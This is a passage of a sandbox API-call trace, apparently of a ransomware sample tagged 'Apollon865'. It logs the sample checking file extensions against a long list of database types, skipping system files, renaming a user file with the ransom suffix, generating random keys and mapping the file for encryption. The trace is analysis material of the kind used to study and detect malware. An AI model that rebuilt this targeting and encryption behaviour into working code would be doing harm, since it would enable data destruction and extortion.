	[0058.991] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0058.991] lstrlenW (lpString="sqlite") returned 6
	[0058.991] lstrcmpiW (lpString1="ts.htm", lpString2="sqlite") returned 1
	[0058.991] lstrlenW (lpString="sqlite3") returned 7
	[0058.991] lstrcmpiW (lpString1="nts.htm", lpString2="sqlite3") returned -1
	[0058.991] lstrlenW (lpString="sqlitedb") returned 8
	[0058.991] lstrcmpiW (lpString1="ints.htm", lpString2="sqlitedb") returned -1
	[0058.991] lstrlenW (lpString="xml") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0058.992] lstrlenW (lpString="$er") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0058.992] lstrlenW (lpString="4dd") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0058.992] lstrlenW (lpString="4dl") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0058.992] lstrlenW (lpString="^^^") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0058.992] lstrlenW (lpString="abs") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0058.992] lstrlenW (lpString="abx") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0058.992] lstrlenW (lpString="accdb") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0058.992] lstrlenW (lpString="accdc") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0058.992] lstrlenW (lpString="accde") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0058.992] lstrlenW (lpString="accdr") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0058.992] lstrlenW (lpString="accdt") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0058.992] lstrlenW (lpString="accdw") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0058.992] lstrlenW (lpString="accft") returned 5
	[0058.992] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0058.992] lstrlenW (lpString="adb") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.992] lstrlenW (lpString="adb") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.992] lstrlenW (lpString="ade") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0058.992] lstrlenW (lpString="adf") returned 3
	[0058.992] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0058.992] lstrlenW (lpString="adn") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0058.993] lstrlenW (lpString="adp") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0058.993] lstrlenW (lpString="alf") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0058.993] lstrlenW (lpString="ask") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0058.993] lstrlenW (lpString="btr") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0058.993] lstrlenW (lpString="cat") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0058.993] lstrlenW (lpString="cdb") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0058.993] lstrlenW (lpString="ckp") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0058.993] lstrlenW (lpString="cma") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0058.993] lstrlenW (lpString="cpd") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0058.993] lstrlenW (lpString="dacpac") returned 6
	[0058.993] lstrcmpiW (lpString1="ts.htm", lpString2="dacpac") returned 1
	[0058.993] lstrlenW (lpString="dad") returned 3
	[0058.993] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0058.993] lstrlenW (lpString="dadiagrams") returned 10
	[0058.993] lstrcmpiW (lpString1="Prints.htm", lpString2="dadiagrams") returned 1
	[0058.993] lstrlenW (lpString="daschema") returned 8
	[0058.993] lstrcmpiW (lpString1="ints.htm", lpString2="daschema") returned 1
	[0058.993] lstrlenW (lpString="db-journal") returned 10
	[0058.993] lstrcmpiW (lpString1="Prints.htm", lpString2="db-journal") returned 1
	[0058.993] lstrlenW (lpString="db-shm") returned 6
	[0058.993] lstrcmpiW (lpString1="ts.htm", lpString2="db-shm") returned 1
	[0058.993] lstrlenW (lpString="db-wal") returned 6
	[0058.993] lstrcmpiW (lpString1="ts.htm", lpString2="db-wal") returned 1
	[0058.993] lstrlenW (lpString="dbc") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0058.994] lstrlenW (lpString="dbs") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0058.994] lstrlenW (lpString="dbt") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0058.994] lstrlenW (lpString="dbv") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0058.994] lstrlenW (lpString="dbx") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0058.994] lstrlenW (lpString="dcb") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0058.994] lstrlenW (lpString="dct") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0058.994] lstrlenW (lpString="dcx") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0058.994] lstrlenW (lpString="ddl") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0058.994] lstrlenW (lpString="dlis") returned 4
	[0058.994] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0058.994] lstrlenW (lpString="dp1") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0058.994] lstrlenW (lpString="dqy") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0058.994] lstrlenW (lpString="dsk") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0058.994] lstrlenW (lpString="dsn") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0058.994] lstrlenW (lpString="dtsx") returned 4
	[0058.994] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0058.994] lstrlenW (lpString="dxl") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0058.994] lstrlenW (lpString="eco") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0058.994] lstrlenW (lpString="ecx") returned 3
	[0058.994] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0058.994] lstrlenW (lpString="edb") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0058.995] lstrlenW (lpString="epim") returned 4
	[0058.995] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0058.995] lstrlenW (lpString="fcd") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0058.995] lstrlenW (lpString="fdb") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0058.995] lstrlenW (lpString="fic") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0058.995] lstrlenW (lpString="flexolibrary") returned 12
	[0058.995] lstrcmpiW (lpString1="d Prints.htm", lpString2="flexolibrary") returned -1
	[0058.995] lstrlenW (lpString="fm5") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0058.995] lstrlenW (lpString="fmp") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0058.995] lstrlenW (lpString="fmp12") returned 5
	[0058.995] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0058.995] lstrlenW (lpString="fmpsl") returned 5
	[0058.995] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0058.995] lstrlenW (lpString="fol") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0058.995] lstrlenW (lpString="fp3") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0058.995] lstrlenW (lpString="fp4") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0058.995] lstrlenW (lpString="fp5") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0058.995] lstrlenW (lpString="fp7") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0058.995] lstrlenW (lpString="fpt") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0058.995] lstrlenW (lpString="frm") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0058.995] lstrlenW (lpString="gdb") returned 3
	[0058.995] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.996] lstrlenW (lpString="gdb") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.996] lstrlenW (lpString="grdb") returned 4
	[0058.996] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0058.996] lstrlenW (lpString="gwi") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0058.996] lstrlenW (lpString="hdb") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0058.996] lstrlenW (lpString="his") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0058.996] lstrlenW (lpString="ib") returned 2
	[0058.996] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0058.996] lstrlenW (lpString="idb") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0058.996] lstrlenW (lpString="ihx") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0058.996] lstrlenW (lpString="itdb") returned 4
	[0058.996] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0058.996] lstrlenW (lpString="itw") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0058.996] lstrlenW (lpString="jet") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0058.996] lstrlenW (lpString="jtx") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0058.996] lstrlenW (lpString="kdb") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0058.996] lstrlenW (lpString="kexi") returned 4
	[0058.996] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0058.996] lstrlenW (lpString="kexic") returned 5
	[0058.996] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0058.996] lstrlenW (lpString="kexis") returned 5
	[0058.996] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0058.996] lstrlenW (lpString="lgc") returned 3
	[0058.996] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0058.996] lstrlenW (lpString="lwx") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0058.997] lstrlenW (lpString="maf") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0058.997] lstrlenW (lpString="maq") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0058.997] lstrlenW (lpString="mar") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0058.997] lstrlenW (lpString="marshal") returned 7
	[0058.997] lstrcmpiW (lpString1="nts.htm", lpString2="marshal") returned 1
	[0058.997] lstrlenW (lpString="mas") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0058.997] lstrlenW (lpString="mav") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0058.997] lstrlenW (lpString="maw") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0058.997] lstrlenW (lpString="mdbhtml") returned 7
	[0058.997] lstrcmpiW (lpString1="nts.htm", lpString2="mdbhtml") returned 1
	[0058.997] lstrlenW (lpString="mdn") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0058.997] lstrlenW (lpString="mdt") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0058.997] lstrlenW (lpString="mfd") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0058.997] lstrlenW (lpString="mpd") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0058.997] lstrlenW (lpString="mrg") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0058.997] lstrlenW (lpString="mud") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0058.997] lstrlenW (lpString="mwb") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0058.997] lstrlenW (lpString="myd") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0058.997] lstrlenW (lpString="ndf") returned 3
	[0058.997] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0058.998] lstrlenW (lpString="nnt") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0058.998] lstrlenW (lpString="nrmlib") returned 6
	[0058.998] lstrcmpiW (lpString1="ts.htm", lpString2="nrmlib") returned 1
	[0058.998] lstrlenW (lpString="ns2") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0058.998] lstrlenW (lpString="ns3") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0058.998] lstrlenW (lpString="ns4") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0058.998] lstrlenW (lpString="nsf") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0058.998] lstrlenW (lpString="nv") returned 2
	[0058.998] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0058.998] lstrlenW (lpString="nv2") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0058.998] lstrlenW (lpString="nwdb") returned 4
	[0058.998] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0058.998] lstrlenW (lpString="nyf") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0058.998] lstrlenW (lpString="odb") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.998] lstrlenW (lpString="odb") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.998] lstrlenW (lpString="oqy") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0058.998] lstrlenW (lpString="ora") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0058.998] lstrlenW (lpString="orx") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0058.998] lstrlenW (lpString="owc") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0058.998] lstrlenW (lpString="p96") returned 3
	[0058.998] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0058.998] lstrlenW (lpString="p97") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0058.999] lstrlenW (lpString="pan") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0058.999] lstrlenW (lpString="pdb") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0058.999] lstrlenW (lpString="pdm") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0058.999] lstrlenW (lpString="pnz") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0058.999] lstrlenW (lpString="qry") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0058.999] lstrlenW (lpString="qvd") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0058.999] lstrlenW (lpString="rbf") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0058.999] lstrlenW (lpString="rctd") returned 4
	[0058.999] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0058.999] lstrlenW (lpString="rod") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0058.999] lstrlenW (lpString="rodx") returned 4
	[0058.999] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0058.999] lstrlenW (lpString="rpd") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0058.999] lstrlenW (lpString="rsd") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0058.999] lstrlenW (lpString="sas7bdat") returned 8
	[0058.999] lstrcmpiW (lpString1="ints.htm", lpString2="sas7bdat") returned -1
	[0058.999] lstrlenW (lpString="sbf") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0058.999] lstrlenW (lpString="scx") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0058.999] lstrlenW (lpString="sdb") returned 3
	[0058.999] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0058.999] lstrlenW (lpString="sdc") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.000] lstrlenW (lpString="sdf") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.000] lstrlenW (lpString="sis") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.000] lstrlenW (lpString="spq") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.000] lstrlenW (lpString="te") returned 2
	[0059.000] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.000] lstrlenW (lpString="teacher") returned 7
	[0059.000] lstrcmpiW (lpString1="nts.htm", lpString2="teacher") returned -1
	[0059.000] lstrlenW (lpString="tmd") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.000] lstrlenW (lpString="tps") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.000] lstrlenW (lpString="trc") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.000] lstrlenW (lpString="trc") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.000] lstrlenW (lpString="trm") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.000] lstrlenW (lpString="udb") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.000] lstrlenW (lpString="udl") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.000] lstrlenW (lpString="usr") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.000] lstrlenW (lpString="v12") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.000] lstrlenW (lpString="vis") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.000] lstrlenW (lpString="vpd") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.000] lstrlenW (lpString="vvv") returned 3
	[0059.000] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.001] lstrlenW (lpString="wdb") returned 3
	[0059.001] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.001] lstrlenW (lpString="wmdb") returned 4
	[0059.001] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.001] lstrlenW (lpString="wrk") returned 3
	[0059.001] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.001] lstrlenW (lpString="xdb") returned 3
	[0059.001] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.001] lstrlenW (lpString="xld") returned 3
	[0059.001] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.001] lstrlenW (lpString="xmlff") returned 5
	[0059.001] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0059.001] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.Apollon865") returned 91
	[0059.001] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.002] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.002] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=235) returned 1
	[0059.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0059.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.003] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0059.003] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.003] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.003] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154
	[0059.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x120000
	[0059.006] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0059.007] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.007] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0059.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0059.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0059.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0059.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0059.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0059.008] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.008] CloseHandle (hObject=0x154) returned 1
	[0059.008] CloseHandle (hObject=0x150) returned 1
	[0059.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0059.008] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".") returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="..") returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="windows") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootmgr") returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="temp") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="pagefile.sys") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="boot") returned 1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ids.txt") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntuser.dat") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="perflogs") returned -1
	[0059.008] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="MSBuild") returned -1
	[0059.008] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0059.008] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned 80
	[0059.008] lstrcpyW (in: lpString1=0x119e68a, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg"
	[0059.008] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0059.009] lstrlenW (lpString="Apollon865") returned 10
	[0059.009] lstrcmpiW (lpString1="Prints.jpg", lpString2="Apollon865") returned 1
	[0059.009] lstrlenW (lpString=".dll") returned 4
	[0059.009] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".dll") returned 1
	[0059.009] lstrlenW (lpString=".lnk") returned 4
	[0059.009] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".lnk") returned 1
	[0059.009] lstrlenW (lpString=".ini") returned 4
	[0059.009] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".ini") returned 1
	[0059.009] lstrlenW (lpString=".sys") returned 4
	[0059.009] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".sys") returned 1
	[0059.009] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0059.009] lstrlenW (lpString="bak") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.009] lstrlenW (lpString="ba_") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.009] lstrlenW (lpString="dbb") returned 3
